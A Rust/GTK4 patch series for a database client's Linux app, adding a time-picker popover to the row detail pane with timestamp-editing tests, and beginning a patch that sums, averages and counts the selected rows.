+    let second = parts.next().transpose().ok()?.unwrap_or(0);
+    NaiveTime::from_hms_opt(hour, minute, second)
+}
+
+// Only the clock changes; text with no day or clock, such as NULL or infinity, becomes a new value.
+pub fn with_time<Tz: TimeZone>(text: &str, time: NaiveTime, field: ClockField, today: NaiveDate, zone: &Tz) -> String {
+    let mut clock = time.format("%H:%M:%S").to_string();
+    let mut text = text.to_owned();
+    if let Some(span) = clock_span(&text) {
+        text.replace_range(span, &clock);
+        return text;
+    }
+    let day_end = day_len(&text);
+    let day = day_end
+        .and_then(|end| NaiveDate::parse_from_str(text.get(..end)?.trim_start(), "%Y-%m-%d").ok())
+        .unwrap_or(today);
+    if field.with_offset {
+        clock.push_str(&offset_at(zone, day.and_time(time)).to_string());
+    }
+    match day_end {
+        Some(end) => {
+            text.insert_str(end, &format!(" {clock}"));
+            text
+        }
+        None if field.dated => format!("{} {clock}", today.format("%Y-%m-%d")),
+        None => clock,
+    }
+}
+
+impl RowDetailPane {
+    pub(super) fn connect_clock(&self) {
+        let imp = self.imp();
+        // Centred below a button at the window's edge, the clock would run past it.
+        imp.clock_button.set_direction(self.toward_rows());
+        imp.clock_popover.connect_show(glib::clone!(
+            #[weak(rename_to = pane)]
+            self,
+            move |_| pane.clock_opens()
+        ));
+        imp.clock_set.connect_clicked(glib::clone!(
+            #[weak(rename_to = pane)]
+            self,
+            move |_| pane.pick_time()
+        ));
+        for spin in [imp.hour.get(), imp.minute.get(), imp.second.get()] {
+            spin.connect_output(|spin| {
+                spin.set_text(&format!("{:02}", spin.value_as_int()));
+                glib::Propagation::Stop
+            });
+        }
+    }
+
+    fn clock_field(&self) -> Option<ClockField> {
+        self.field_column()
+            .and_then(|column| ClockField::of(&column.value_type().kind))
+    }
+
+    fn clock_opens(&self) {
+        let imp = self.imp();
+        imp.clock_target.replace(self.current_pin().zip(imp.field.get()));
+        let time = time_of(&self.typed_text()).unwrap_or_else(|| Local::now().time());
+        imp.hour.set_value(f64::from(time.hour()));
+        imp.minute.set_value(f64::from(time.minute()));
+        imp.second.set_value(f64::from(time.second()));
+    }
+
+    // Written as if typed, and only into the row and field the clock opened on.
+    fn pick_time(&self) {
+        let imp = self.imp();
+        let target = imp.clock_target.take();
+        imp.clock_popover.popdown();
+        if target.is_none() || target != self.current_pin().zip(imp.field.get()) || !imp.value_view.is_editable() {
+            return;
+        }
+        let part = |spin: &gtk::SpinButton| u32::try_from(spin.value_as_int()).ok();
+        let (Some(field), Some(time)) = (
+            self.clock_field(),
+            part(&imp.hour)
+                .zip(part(&imp.minute))
+                .zip(part(&imp.second))
+                .and_then(|((hour, minute), second)| NaiveTime::from_hms_opt(hour, minute, second)),
+        ) else {
+            return;
+        };
+        let text = with_time(&self.typed_text(), time, field, Local::now().date_naive(), &Local);
+        imp.value_buffer.set_text(&text);
+        self.commit(Commit::Keep);
+    }
+}
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/imp.rs b/linux/crates/app/src/ui/data_grid/row_detail/imp.rs
index 1ae83b565a..d8882ecf2b 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/imp.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/imp.rs
@@ -48,6 +48,18 @@ pub struct RowDetailPane {
     #[template_child]
     pub calendar: TemplateChild<gtk::Calendar>,
     #[template_child]
+    pub clock_button: TemplateChild<gtk::MenuButton>,
+    #[template_child]
+    pub clock_popover: TemplateChild<gtk::Popover>,
+    #[template_child]
+    pub hour: TemplateChild<gtk::SpinButton>,
+    #[template_child]
+    pub minute: TemplateChild<gtk::SpinButton>,
+    #[template_child]
+    pub second: TemplateChild<gtk::SpinButton>,
+    #[template_child]
+    pub clock_set: TemplateChild<gtk::Button>,
+    #[template_child]
     pub value_menu_button: TemplateChild<gtk::MenuButton>,
     #[template_child]
     pub value_view: TemplateChild<sourceview5::View>,
@@ -81,6 +93,7 @@ pub struct RowDetailPane {
     pub quiet_calendar: Cell<bool>,
     /// The row and field the open calendar picks a day for.
     pub calendar_target: RefCell<Option<(PinnedRow, usize)>>,
+    pub clock_target: RefCell<Option<(PinnedRow, usize)>>,
     pub sync_queued: Cell<bool>,
     /// The field rows bound now, which redraw when the row changes.
     pub bound: RefCell<Vec<gtk::ListItem>>,
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/mod.rs b/linux/crates/app/src/ui/data_grid/row_detail/mod.rs
index d40b030092..3f0fb18c4f 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/mod.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/mod.rs
@@ -2,6 +2,7 @@
 //! editor for the whole value of one of them.
 
 mod calendar;
+mod clock;
 mod fields;
 mod imp;
 #[cfg(test)]
@@ -40,6 +41,7 @@ impl RowDetailPane {
         self.connect_value_editor(grid);
         self.connect_value_menu(grid);
         self.connect_calendar();
+        self.connect_clock();
         self.connect_close(grid);
         self.watch_details(grid);
         self.watch_rows(grid);
@@ -145,6 +147,7 @@ impl RowDetailPane {
         };
         if !same {
             self.imp().calendar_popover.popdown();
+            self.imp().clock_popover.popdown();
             self.commit(Commit::Teardown);
             self.watch_row(row.as_ref());
         }
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/tests.rs b/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
index 653dfb4429..135979f0ca 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
@@ -2,17 +2,18 @@ use std::cell::RefCell;
 use std::rc::Rc;
 use std::time::Duration;
 
-use chrono::NaiveDate;
+use chrono::{NaiveDate, NaiveTime};
 use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use gtk4::{self as gtk, gdk};
-use tablepro_core::column::TemporalZone;
+use tablepro_core::column::{TemporalZone, TimeRange};
 use tablepro_core::edit::CellInput;
-use tablepro_core::value::{JsonText, Temporal};
+use tablepro_core::value::{JsonText, SqlTime, Temporal};
 use tablepro_core::{ColumnInfo, Value};
 
 use super::RowDetailPane;
 use super::calendar::{day_of, day_start_offset, with_day};
+use super::clock::{ClockField, time_of, with_time};
 use super::fields::field_order;
 use super::value_editor::value_content;
 use crate::services::change_tracker::RowKey;
@@ -871,3 +872,293 @@ fn alt_return_closes_row_details_from_the_pane() {
     })
     .expect("Alt+Return to close Row Details");
 }
+
+/// Open the pane's clock until it shows, as `open_calendar` does.
+fn open_clock(pane: &RowDetailPane) {
+    for _ in 0..5 {
+        pane.imp().clock_button.popup();
+        if wait_until(Duration::from_secs(2), || pane.imp().hour.is_mapped()).is_ok() {
+            return;
+        }
+        pane.imp().clock_button.popdown();
+        drain_main_context();
+    }
+    panic!("the clock never showed");
+}
+
+fn set_clock(pane: &RowDetailPane, (hour, minute, second): (u32, u32, u32)) {
+    pane.imp().hour.set_value(f64::from(hour));
+    pane.imp().minute.set_value(f64::from(minute));
+    pane.imp().second.set_value(f64::from(second));
+}
+
+fn clock_text(pane: &RowDetailPane) -> [String; 3] {
+    let imp = pane.imp();
+    [&imp.hour, &imp.minute, &imp.second].map(|spin| spin.text().to_string())
+}
+
+fn a_time(hour: u32, minute: u32, second: u32) -> NaiveTime {
+    NaiveTime::from_hms_opt(hour, minute, second).expect("a time")
+}
+
+fn a_timestamp(day: (i32, u32, u32), time: NaiveTime) -> Value {
+    let (year, month, date) = day;
+    Value::Timestamp(Temporal::Finite(
+        NaiveDate::from_ymd_opt(year, month, date)
+            .expect("a day")
+            .and_time(time),
+    ))
+}
+
+const NAIVE: ClockField = ClockField {
+    dated: true,
+    with_offset: false,
+};
+const ZONED: ClockField = ClockField {
+    dated: true,
+    with_offset: true,
+};
+const TIME: ClockField = ClockField {
+    dated: false,
+    with_offset: false,
+};
+const TIMETZ: ClockField = ClockField {
+    dated: false,
+    with_offset: true,
+};
+
+fn set_at_nine(text: &str, field: ClockField) -> String {
+    let today = NaiveDate::from_ymd_opt(2026, 10, 29).expect("a day");
+    let plus_two = chrono::FixedOffset::east_opt(2 * 3600).expect("an offset");
+    with_time(text, a_time(9, 5, 30), field, today, &plus_two)
+}
+
+#[test]
+fn the_clock_sets_only_the_time_a_value_shows() {
+    assert_eq!(
+        set_at_nine("2024-02-29 23:59:58.125000", NAIVE),
+        "2024-02-29 09:05:30.125000"
+    );
+    assert_eq!(set_at_nine("2024-02-29T23:59:58", NAIVE), "2024-02-29T09:05:30");
+    assert_eq!(set_at_nine("2024-02-29 23:59", NAIVE), "2024-02-29 09:05:30");
+    assert_eq!(
+        set_at_nine("2024-02-29 23:59:58+05:30", ZONED),
+        "2024-02-29 09:05:30+05:30"
+    );
+    assert_eq!(set_at_nine("0044-03-15 12:00:00 BC", NAIVE), "0044-03-15 09:05:30 BC");
+    assert_eq!(
+        set_at_nine("12000-01-01 10:00:00", NAIVE),
+        "12000-01-01 09:05:30",
+        "a year past 9999 lost its day"
+    );
+    assert_eq!(set_at_nine("13:45:07.5+01", TIMETZ), "09:05:30.5+01");
+    assert_eq!(
+        set_at_nine("2024-03-10T02:30:00.125-08:00", TIME),
+        "2024-03-10T09:05:30.125-08:00",
+        "SQLite keeps a timestamp in a TIME column"
+    );
+    assert_eq!(set_at_nine("10:00", NAIVE), "09:05:30", "a time in a DATETIME column");
+    assert_eq!(set_at_nine("  2024-01-01 10:00:00", NAIVE), "  2024-01-01 09:05:30");
+    assert_eq!(
+        set_at_nine("2024-01-01  12:34:56.789+02:00", ZONED),
+        "2024-01-01  09:05:30.789+02:00"
+    );
+    assert_eq!(set_at_nine("-0001-01-01 12:34:56", NAIVE), "-0001-01-01 09:05:30");
+    assert_eq!(
+        set_at_nine("2024-02-29T 12:34:56.125+05:30", ZONED),
+        "2024-02-29T 09:05:30.125+05:30"
+    );
+    assert_eq!(set_at_nine("2024-2-9 9:5:3.5", NAIVE), "2024-2-9 09:05:30.5");
+    assert_eq!(set_at_nine("2024- 2-29 12: 34", NAIVE), "2024- 2-29 09:05:30");
+    assert_eq!(
+        set_at_nine("2024-\u{a0}02-29\u{a0}12:34:56", NAIVE),
+        "2024-\u{a0}02-29\u{a0}09:05:30"
+    );
+    assert_eq!(set_at_nine("24:00:00+01", TIMETZ), "09:05:30+01");
+}
+
+#[test]
+fn the_clock_starts_a_value_that_has_no_time() {
+    assert_eq!(set_at_nine("", NAIVE), "2026-10-29 09:05:30");
+    assert_eq!(set_at_nine("infinity", NAIVE), "2026-10-29 09:05:30");
+    assert_eq!(set_at_nine("2024-02-29", NAIVE), "2024-02-29 09:05:30");
+    assert_eq!(set_at_nine(" 2024-02-29", NAIVE), " 2024-02-29 09:05:30");
+    assert_eq!(set_at_nine("4713-01-01 BC", NAIVE), "4713-01-01 09:05:30 BC");
+    assert_eq!(set_at_nine("4713-01-01 BC", ZONED), "4713-01-01 09:05:30+02:00 BC");
+    assert_eq!(set_at_nine("12000-01-01", NAIVE), "12000-01-01 09:05:30");
+    assert_eq!(
+        set_at_nine("2024-02-29", TIME),
+        "2024-02-29 09:05:30",
+        "SQLite keeps a date in a TIME column"
+    );
+    assert_eq!(set_at_nine("", TIME), "09:05:30");
+    let zoned = set_at_nine("", ZONED);
+    assert_eq!(zoned, "2026-10-29 09:05:30+02:00");
+    assert!(tablepro_core::edit::parse_timestamp_with_offset(&zoned).is_ok());
+    let timetz = set_at_nine("", TIMETZ);
+    assert_eq!(timetz, "09:05:30+02:00");
+    assert!(tablepro_core::edit::parse_time_with_offset(&timetz).is_ok());
+}
+
+#[test]
+fn a_new_zoned_time_takes_the_offset_of_its_own_moment() {
+    let hours = |hours: i32| chrono::FixedOffset::east_opt(hours * 3600).expect("an offset");
+    // Sydney moves to +11 at 02:00 local on 2026-10-04.
+    let sydney = OneChange {
+        before: hours(10),
+        after: hours(11),
+        change: chrono::NaiveDateTime::parse_from_str("2026-10-03 16:00", "%Y-%m-%d %H:%M").expect("a UTC time"),
+    };
+    let day = NaiveDate::from_ymd_opt(2026, 10, 4).expect("a day");
+    let set = |text: &str, time: NaiveTime, field: ClockField| with_time(text, time, field, day, &sydney);
+
+    assert_eq!(set("", a_time(9, 5, 0), ZONED), "2026-10-04 09:05:00+11:00");
+    assert_eq!(set("", a_time(1, 30, 0), ZONED), "2026-10-04 01:30:00+10:00");
+    assert_eq!(
+        set("", a_time(2, 30, 0), ZONED),
+        "2026-10-04 02:30:00+10:00",
+        "a time the change skips"
+    );
+    assert_eq!(set("", a_time(9, 5, 0), TIMETZ), "09:05:00+11:00");
+    let earlier = NaiveDate::from_ymd_opt(2026, 7, 1).expect("a day");
+    assert_eq!(
+        with_time("2026-10-4", a_time(9, 5, 0), ZONED, earlier, &sydney),
+        "2026-10-4 09:05:00+11:00",
+        "a one-digit day took today's offset"
+    );
+    assert_eq!(
+        with_time("2026-10-04", a_time(9, 5, 0), ZONED, earlier, &sydney),
+        "2026-10-04 09:05:00+11:00",
+        "the offset was today's, not the value's day"
+    );
+}
+
+#[test]
+fn the_clock_reads_the_time_a_value_shows() {
+    assert_eq!(time_of("2024-02-29 23:59:58.125"), Some(a_time(23, 59, 58)));
+    assert_eq!(time_of("12000-01-01 10:00:00"), Some(a_time(10, 0, 0)));
+    assert_eq!(time_of("2024-02-29 10:30"), Some(a_time(10, 30, 0)));
+    assert_eq!(time_of("13:45:07.5+01"), Some(a_time(13, 45, 7)));
+    assert_eq!(time_of(" 2024-02-29T10:00:00Z"), Some(a_time(10, 0, 0)));
+    assert_eq!(time_of("2024-2-9 9:5:3"), Some(a_time(9, 5, 3)));
+    assert_eq!(time_of("2024- 2-29 12: 34"), Some(a_time(12, 34, 0)));
+    assert_eq!(time_of("24:00:00"), None);
+    assert_eq!(time_of("2024-02-29"), None);
+    assert_eq!(time_of("2024-02-2é 10:00:00"), None, "a cut inside a character");
+    assert_eq!(time_of("not a time"), None);
+}
+
+#[test]
+fn a_clock_is_offered_where_a_time_of_day_can_be_typed() {
+    let saved = GridRowId::Persisted(RowKey::from_pk_values(&[Value::Int(1)]).expect("a key"));
+    let clock = |data_type: &str, lock: Option<CellLock>| {
+        value_content(
+            &column_of(named("t", data_type, false)),
+            &saved,
+            lock,
+            &CellInput::Value(Value::Null),
+        )
+        .clock
+    };
+
+    assert!(clock("timestamp", None));
+    assert!(clock("timestamptz", None));
+    assert!(clock("time", None));
+    assert!(!clock("date", None));
+    assert!(!clock("interval", None));
+    assert!(
+        !clock("timestamp", Some(CellLock::PendingDelete)),
+        "a locked cell offered a clock"
+    );
+    let time = |range| tablepro_core::column::ColumnKind::Time {
+        fractional_digits: None,
+        with_offset: false,
+        range,
+    };
+    assert_eq!(ClockField::of(&time(TimeRange::TimeOfDay)), Some(TIME));
+    assert_eq!(
+        ClockField::of(&time(TimeRange::Duration)),
+        None,
+        "MySQL TIME runs past a day"
+    );
+    assert_eq!(ClockField::of(&time(TimeRange::LongDuration)), None);
+}
+
+#[gtk4::test]
+fn the_clock_opens_on_the_value_and_sets_its_time() {
+    let (grid, pane) = opened(
+        vec![named("id", "integer", true), named("at", "timestamp", false)],
+        vec![vec![Value::Int(1), a_timestamp((2024, 2, 29), a_time(23, 59, 8))]],
+    );
+    take_keyboard(&grid);
+    grid.focus(0, 1);
+    assert!(pane.imp().clock_button.is_visible(), "a timestamp has no clock");
+    assert_eq!(
+        pane.imp().clock_button.direction(),
+        gtk::ArrowType::Left,
+        "a clock centred below the pane's button runs past the window"
+    );
+
+    open_clock(&pane);
+    assert_eq!(
+        clock_text(&pane),
+        ["23", "59", "08"],
+        "the clock did not open on the value"
+    );
+    set_clock(&pane, (9, 5, 30));
+    assert_eq!(clock_text(&pane), ["09", "05", "30"], "a clock shows two digits");
+    pane.imp().clock_set.emit_clicked();
+
+    assert_eq!(
+        pending(&grid, 1, 1),
+        Some(CellInput::Value(a_timestamp((2024, 2, 29), a_time(9, 5, 30))))
+    );
+    assert!(!pane.imp().clock_popover.is_visible());
+}
+
+#[gtk4::test]
+fn enter_in_a_clock_field_sets_the_time() {
+    let (grid, pane) = opened(
+        vec![named("id", "integer", true), named("at", "time", false)],
+        vec![vec![Value::Int(1), Value::Null]],
+    );
+    take_keyboard(&grid);
+    grid.focus(0, 1);
+    open_clock(&pane);
+    set_clock(&pane, (9, 5, 30));
+
+    let text = descendants(&pane.imp().second.get())
+        .into_iter()
+        .find_map(|widget| widget.downcast::<gtk::Text>().ok())
+        .expect("the field's text");
+    text.emit_by_name::<()>("activate", &[]);
+    // A button activated from the keyboard clicks once its pressed look has shown.
+    wait_until(WAIT, || pending(&grid, 1, 1).is_some()).expect("Enter to set the time");
+
+    let set = SqlTime::from_time_of_day(a_time(9, 5, 30));
+    assert_eq!(pending(&grid, 1, 1), Some(CellInput::Value(Value::Time(set))));
+}
+
+#[gtk4::test]
+fn a_page_that_takes_the_row_closes_its_clock_and_writes_nothing() {
+    let (grid, pane) = opened(
+        vec![named("id", "integer", true), named("at", "time", false)],
+        vec![vec![Value::Int(1), Value::Null], vec![Value::Int(2), Value::Null]],
+    );
+    take_keyboard(&grid);
+    grid.focus(0, 1);
+    open_clock(&pane);
+
+    grid.grid
+        .replace_rows(persisted(&[vec![Value::Int(2), Value::Null]]), 0);
+    drain_main_context();
+    pane.imp().clock_set.emit_clicked();
+    drain_main_context();
+
+    assert_eq!(
+        grid.tracker.pending_count(),
+        0,
+        "the clock wrote into the row that took the slot"
+    );
+    assert!(!pane.imp().clock_popover.is_visible());
+}
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs b/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs
index 457e316e58..df4fb6cff7 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs
@@ -79,6 +79,7 @@ pub struct ValueContent {
     pub emptied_placeholder: Option<String>,
     pub language: Option<&'static str>,
     pub calendar: bool,
+    pub clock: bool,
 }
 
 pub fn value_content(column: &GridColumn, row: &GridRowId, lock: Option<CellLock>, input: &CellInput) -> ValueContent {
@@ -106,6 +107,7 @@ pub fn value_content(column: &GridColumn, row: &GridRowId, lock: Option<CellLock
             _ => None,
         },
         calendar: editable && matches!(kind, ColumnKind::Date | ColumnKind::Timestamp { .. }),
+        clock: editable && super::clock::ClockField::of(kind).is_some(),
         message,
     }
 }
@@ -339,6 +341,7 @@ impl RowDetailPane {
             emptied_placeholder: None,
             language: None,
             calendar: false,
+            clock: false,
         };
         self.show_value("", &content);
         self.imp().value_view.set_editable(false);
@@ -373,6 +376,7 @@ impl RowDetailPane {
             .update_property(&[gtk::accessible::Property::Label(name)]);
         self.show_message(content.message.as_deref(), false);
         imp.calendar_button.set_visible(content.calendar);
+        imp.clock_button.set_visible(content.clock);
         self.update_placeholder();
     }
 
diff --git a/linux/crates/app/src/ui/icons.rs b/linux/crates/app/src/ui/icons.rs
index 055cdab1c9..c13f5ac819 100644
--- a/linux/crates/app/src/ui/icons.rs
+++ b/linux/crates/app/src/ui/icons.rs
@@ -38,6 +38,7 @@ pub const OPEN_MENU: &str = "open-menu-symbolic";
 pub const PACKAGE: &str = "package-x-generic-symbolic";
 pub const PAN_DOWN: &str = "pan-down-symbolic";
 pub const PREFERENCES_SYSTEM: &str = "preferences-system-symbolic";
+pub const PREFERENCES_SYSTEM_TIME: &str = "preferences-system-time-symbolic";
 pub const PROCESS_STOP: &str = "process-stop-symbolic";
 pub const SECURITY_HIGH: &str = "security-high-symbolic";
 pub const STARRED: &str = "starred-symbolic";
@@ -116,6 +117,7 @@ pub const ALL: &[&str] = &[
     PACKAGE,
     PAN_DOWN,
     PREFERENCES_SYSTEM,
+    PREFERENCES_SYSTEM_TIME,
     PROCESS_STOP,
     SECURITY_HIGH,
     SIDEBAR_SHOW,
diff --git a/linux/data/resources/ui/row-detail-pane.ui b/linux/data/resources/ui/row-detail-pane.ui
index 6c49dfaf69..5e266afad8 100644
--- a/linux/data/resources/ui/row-detail-pane.ui
+++ b/linux/data/resources/ui/row-detail-pane.ui
@@ -184,6 +184,110 @@
                                     </property>
                                   </object>
                                 </child>
+                                <child>
+                                  <object class="GtkMenuButton" id="clock_button">
+                                    <property name="icon-name">preferences-system-time-symbolic</property>
+                                    <property name="visible">false</property>
+                                    <property name="tooltip-text" translatable="yes">Pick a Time</property>
+                                    <accessibility>
+                                      <property name="label" translatable="yes">Pick a Time</property>
+                                    </accessibility>
+                                    <style>
+                                      <class name="flat"/>
+                                    </style>
+                                    <property name="popover">
+                                      <object class="GtkPopover" id="clock_popover">
+                                        <property name="default-widget">clock_set</property>
+                                        <property name="child">
+                                          <object class="GtkBox">
+                                            <property name="spacing">6</property>
+                                            <property name="margin-top">6</property>
+                                            <property name="margin-bottom">6</property>
+                                            <property name="margin-start">6</property>
+                                            <property name="margin-end">6</property>
+                                            <child>
+                                              <object class="GtkSpinButton" id="hour">
+                                                <property name="orientation">vertical</property>
+                                                <property name="numeric">true</property>
+                                                <property name="wrap">true</property>
+                                                <property name="xalign">0.5</property>
+                                                <property name="activates-default">true</property>
+                                                <property name="adjustment">
+                                                  <object class="GtkAdjustment">
+                                                    <property name="upper">23</property>
+                                                    <property name="step-increment">1</property>
+                                                    <property name="page-increment">6</property>
+                                                  </object>
+                                                </property>
+                                                <accessibility>
+                                                  <property name="label" translatable="yes" context="clock">Hour</property>
+                                                </accessibility>
+                                              </object>
+                                            </child>
+                                            <child>
+                                              <object class="GtkLabel">
+                                                <property name="label">:</property>
+                                              </object>
+                                            </child>
+                                            <child>
+                                              <object class="GtkSpinButton" id="minute">
+                                                <property name="orientation">vertical</property>
+                                                <property name="numeric">true</property>
+                                                <property name="wrap">true</property>
+                                                <property name="xalign">0.5</property>
+                                                <property name="activates-default">true</property>
+                                                <property name="adjustment">
+                                                  <object class="GtkAdjustment">
+                                                    <property name="upper">59</property>
+                                                    <property name="step-increment">1</property>
+                                                    <property name="page-increment">10</property>
+                                                  </object>
+                                                </property>
+                                                <accessibility>
+                                                  <property name="label" translatable="yes" context="clock">Minute</property>
+                                                </accessibility>
+                                              </object>
+                                            </child>
+                                            <child>
+                                              <object class="GtkLabel">
+                                                <property name="label">:</property>
+                                              </object>
+                                            </child>
+                                            <child>
+                                              <object class="GtkSpinButton" id="second">
+                                                <property name="orientation">vertical</property>
+                                                <property name="numeric">true</property>
+                                                <property name="wrap">true</property>
+                                                <property name="xalign">0.5</property>
+                                                <property name="activates-default">true</property>
+                                                <property name="adjustment">
+                                                  <object class="GtkAdjustment">
+                                                    <property name="upper">59</property>
+                                                    <property name="step-increment">1</property>
+                                                    <property name="page-increment">10</property>
+                                                  </object>
+                                                </property>
+                                                <accessibility>
+                                                  <property name="label" translatable="yes" context="clock">Second</property>
+                                                </accessibility>
+                                              </object>
+                                            </child>
+                                            <child>
+                                              <object class="GtkButton" id="clock_set">
+                                                <property name="label" translatable="yes" context="clock">Set</property>
+                                                <property name="valign">center</property>
+                                                <property name="margin-start">6</property>
+                                                <style>
+                                                  <class name="suggested-action"/>
+                                                </style>
+                                              </object>
+                                            </child>
+                                          </object>
+                                        </property>
+                                      </object>
+                                    </property>
+                                  </object>
+                                </child>
                                 <child>
                                   <object class="GtkMenuButton" id="value_menu_button">
                                     <property name="icon-name">view-more-symbolic</property>
diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in
index af8dd18f8f..471b784245 100644
--- a/linux/po/POTFILES.in
+++ b/linux/po/POTFILES.in
@@ -260,6 +260,7 @@ crates/app/src/ui/data_grid/references/mod.rs
 crates/app/src/ui/data_grid/references/tests.rs
 crates/app/src/ui/data_grid/reversed_list.rs
 crates/app/src/ui/data_grid/row_detail/calendar.rs
+crates/app/src/ui/data_grid/row_detail/clock.rs
 crates/app/src/ui/data_grid/row_detail/fields.rs
 crates/app/src/ui/data_grid/row_detail/imp.rs
 crates/app/src/ui/data_grid/row_detail/mod.rs

From 42a97219a33cf75cdb0095343feb417f69463fac Mon Sep 17 00:00:00 2001
From: Cristian <cristian.sedaboni@gmail.com>
Date: Fri, 30 Oct 2026 02:54:28 +0100
Subject: [PATCH 34/44] feat(linux-grid): sum, average and count the selected
 rows' focused column (#3877)

Co-authored-by: sedax90 <5001801+sedax90@users.noreply.github.com>
Co-authored-by: Ngo Quoc Dat <datlechin@gmail.com>
---
 linux/Cargo.lock                              |   2 +
 linux/changelog.d/3877.added.md               |   1 +
 linux/changelog.d/3877.fixed.md               |   1 +
 linux/crates/app/Cargo.toml                   |   4 +
 .../crates/app/src/services/change_tracker.rs |  89 ++--
 linux/crates/app/src/services/grid/mod.rs     |   2 +
 .../src/services/grid/selection_summary.rs    | 441 ++++++++++++++++++
 .../app/src/services/grid/value_order.rs      |   2 +-
 .../app/src/services/tab_tracker_handle.rs    |   2 +-
 .../app/src/ui/browse_tab/grid_handlers.rs    |   1 +
 linux/crates/app/src/ui/browse_tab/imp.rs     |   2 +
 linux/crates/app/src/ui/browse_tab/layout.rs  |   1 +
 .../app/src/ui/browse_tab/tests/load.rs       |  29 ++
 linux/crates/app/src/ui/data_grid/columns.rs  |   1 +
 linux/crates/app/src/ui/data_grid/find_bar.rs |  34 +-
 .../app/src/ui/data_grid/grid_actions.rs      |   1 +
 linux/crates/app/src/ui/data_grid/imp.rs      |   5 +
 linux/crates/app/src/ui/data_grid/mod.rs      |   2 +
 .../app/src/ui/data_grid/selection_summary.rs | 416 +++++++++++++++++
 .../crates/app/src/ui/data_grid/tests/mod.rs  |   1 +
 .../app/src/ui/data_grid/tests/summary.rs     | 309 ++++++++++++
 .../app/src/ui/data_grid/tracked_values.rs    |  25 +
 linux/crates/app/src/ui/format/mod.rs         |   2 +-
 linux/crates/app/src/ui/format/thousands.rs   |  32 ++
 linux/crates/app/src/ui/key_tab/mod.rs        |   1 +
 linux/crates/app/src/ui/key_tab/tests.rs      |  38 ++
 linux/crates/app/src/ui/result_pane/mod.rs    |   7 +-
 .../app/src/ui/structure_tab/save_handlers.rs |   9 +-
 .../crates/app/src/ui/structure_tab/tests.rs  |  18 +
 linux/crates/core/src/value/decimal.rs        |  25 +
 linux/data/resources/ui/browse-tab.ui         |   2 +-
 linux/po/POTFILES.in                          |   3 +
 32 files changed, 1455 insertions(+), 53 deletions(-)
 create mode 100644 linux/changelog.d/3877.added.md
 create mode 100644 linux/changelog.d/3877.fixed.md
 create mode 100644 linux/crates/app/src/services/grid/selection_summary.rs
 create mode 100644 linux/crates/app/src/ui/data_grid/selection_summary.rs
 create mode 100644 linux/crates/app/src/ui/data_grid/tests/summary.rs

diff --git a/linux/Cargo.lock b/linux/Cargo.lock
index 75cc32a4cb..cb92249d06 100644
--- a/linux/Cargo.lock
+++ b/linux/Cargo.lock
@@ -5549,8 +5549,10 @@ dependencies = [
  "gtk4",
  "icu_decimal",
  "icu_locale_core",
+ "indexmap 2.14.2",
  "libadwaita",
  "log",
+ "num-bigint",
  "proptest",
  "pulldown-cmark",
  "relm4",
diff --git a/linux/changelog.d/3877.added.md b/linux/changelog.d/3877.added.md
new file mode 100644
index 0000000000..480bbe9b6e
--- /dev/null
+++ b/linux/changelog.d/3877.added.md
@@ -0,0 +1 @@
+Selecting rows shows the sum, average and count of the focused column, with every figure ready to copy.
diff --git a/linux/changelog.d/3877.fixed.md b/linux/changelog.d/3877.fixed.md
new file mode 100644
index 0000000000..821acdeb90
--- /dev/null
+++ b/linux/changelog.d/3877.fixed.md
@@ -0,0 +1 @@
+Discarding structure changes on a table that changed elsewhere left them on screen while it was read again.
diff --git a/linux/crates/app/Cargo.toml b/linux/crates/app/Cargo.toml
index 414dd20bde..c340f035ec 100644
--- a/linux/crates/app/Cargo.toml
+++ b/linux/crates/app/Cargo.toml
@@ -100,6 +100,10 @@ gettext-rs = { version = "0.8", features = ["gettext-system"] }
 # Counts grouped the way the user's locale groups digits.
 icu_decimal = { version = "2.3", features = ["alloc"] }
 icu_locale_core = { version = "2.3", features = ["alloc"] }
+# Pending drafts, found by id and kept in order.
+indexmap = "2.14"
+# A selection's sum and average, exact past what i128 holds.
+num-bigint.workspace = true
 # The assistant's replies are Markdown; the HTML writer stays off.
 pulldown-cmark = { version = "0.13", default-features = false }
 sqlformat = "0.5"
diff --git a/linux/crates/app/src/services/change_tracker.rs b/linux/crates/app/src/services/change_tracker.rs
index 68d0deabc1..7ca6368097 100644
--- a/linux/crates/app/src/services/change_tracker.rs
+++ b/linux/crates/app/src/services/change_tracker.rs
@@ -5,6 +5,8 @@
 use std::collections::{HashMap, HashSet, VecDeque};
 use std::sync::Arc;
 
+use indexmap::IndexMap;
+use indexmap::map::Slice;
 use tablepro_core::dml::BuildSqlError;
 use tablepro_core::edit::CellInput;
 use tablepro_core::meta::RowIdentity;
@@ -128,7 +130,7 @@ struct SetAside {
 
 #[derive(Debug, Default)]
 pub struct TabChangeTracker {
-    drafts: Vec<DraftRow>,
+    drafts: IndexMap<u64, DraftRow>,
     deletes: HashMap<RowKey, DeleteMark>,
     updates: HashMap<(RowKey, usize), CellEdit>,
     undo: VecDeque<UndoOp>,
@@ -198,8 +200,8 @@ impl TabChangeTracker {
     fn draft_in_flight(&self, draft_id: u64) -> bool {
         self.saving.as_ref().is_some_and(|save| {
             self.drafts
-                .iter()
-                .any(|draft| draft.draft_id == draft_id && save.snapshot.includes(draft.touched))
+                .get(&draft_id)
+                .is_some_and(|draft| save.snapshot.includes(draft.touched))
         })
     }
 
@@ -317,9 +319,7 @@ impl TabChangeTracker {
     // The draft's undo and redo entries go with it, so Ctrl+Z cannot
     // bring it back half-edited.
     fn drop_draft(&mut self, draft_id: u64) -> bool {
-        let before = self.drafts.len();
-        self.drafts.retain(|d| d.draft_id != draft_id);
-        if self.drafts.len() == before {
+        if self.drafts.shift_remove(&draft_id).is_none() {
             return false;
         }
         self.updates
@@ -348,7 +348,7 @@ impl TabChangeTracker {
     }
 
